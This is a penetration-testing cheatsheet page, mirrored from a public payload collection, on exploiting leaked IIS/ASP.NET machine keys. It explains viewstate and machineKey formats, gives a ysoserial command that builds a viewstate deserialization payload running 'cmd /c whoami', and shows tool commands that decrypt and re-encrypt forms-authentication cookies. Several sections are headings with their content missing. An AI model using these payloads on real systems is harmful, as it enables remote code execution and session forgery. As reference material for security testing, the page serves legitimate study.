repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
iis-machine-keys.mdMarkdown217 lines12.3 KiBsource raw download

title: "IIS Machine Keys" topic: "API Key Leaks" topicSlug: "api-key-leaks" sourcePath: "API Key Leaks/IIS-Machine-Keys.md" sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/API%20Key%20Leaks/IIS-Machine-Keys.md" sha: "3ac27901c711" isReadme: false#

IIS Machine Keys#

That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.

Summary#

Viewstate Format#

ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.

Format Properties
Base64 EnableViewStateMac=False, ViewStateEncryptionMode=False
Base64 + MAC EnableViewStateMac=True
Base64 + Encrypted ViewStateEncryptionMode=True

By default until Sept 2014, the enableViewStateMac property was to set to False. Usually unencrypted viewstate are starting with the string /wEP.

Machine Key Format And Locations#

A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.

The format of a machineKey is the following.

<machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" />

The validationKey attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.

The decryptionKey attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.

The validation attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.

The decryption attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.

The following example of a machineKey is from Microsoft documentation.

<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />

Common locations of web.config / machine.config

Identify Known Machine Key#

Try multiple machine keys from known products, Microsoft documentation, or other part of the Internet.

List of interesting machine keys to use:

Decode ViewState#

Generate ViewState For RCE#

First you need to decode the Viewstate to know if the MAC and the encryption are enabled.

Requirements:

MAC Is Not Enabled#

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "cmd /c whoami"

MAC Is Enabled And Encryption Is Disabled#

MAC Is Enabled And Encryption Is Enabled#

Default validation algorithm is HMACSHA256 and the default decryption algorithm is AES.

If the __VIEWSTATEGENERATOR is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: --apppath="/testaspx/").

Edit Cookies With The Machine Key#

If you have the machineKey but the viewstate is disabled.

ASP.net Forms Authentication Cookies : liquidsec/aspnetCryptTools

# decrypt cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes

# encrypt cookie (edit Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt

References#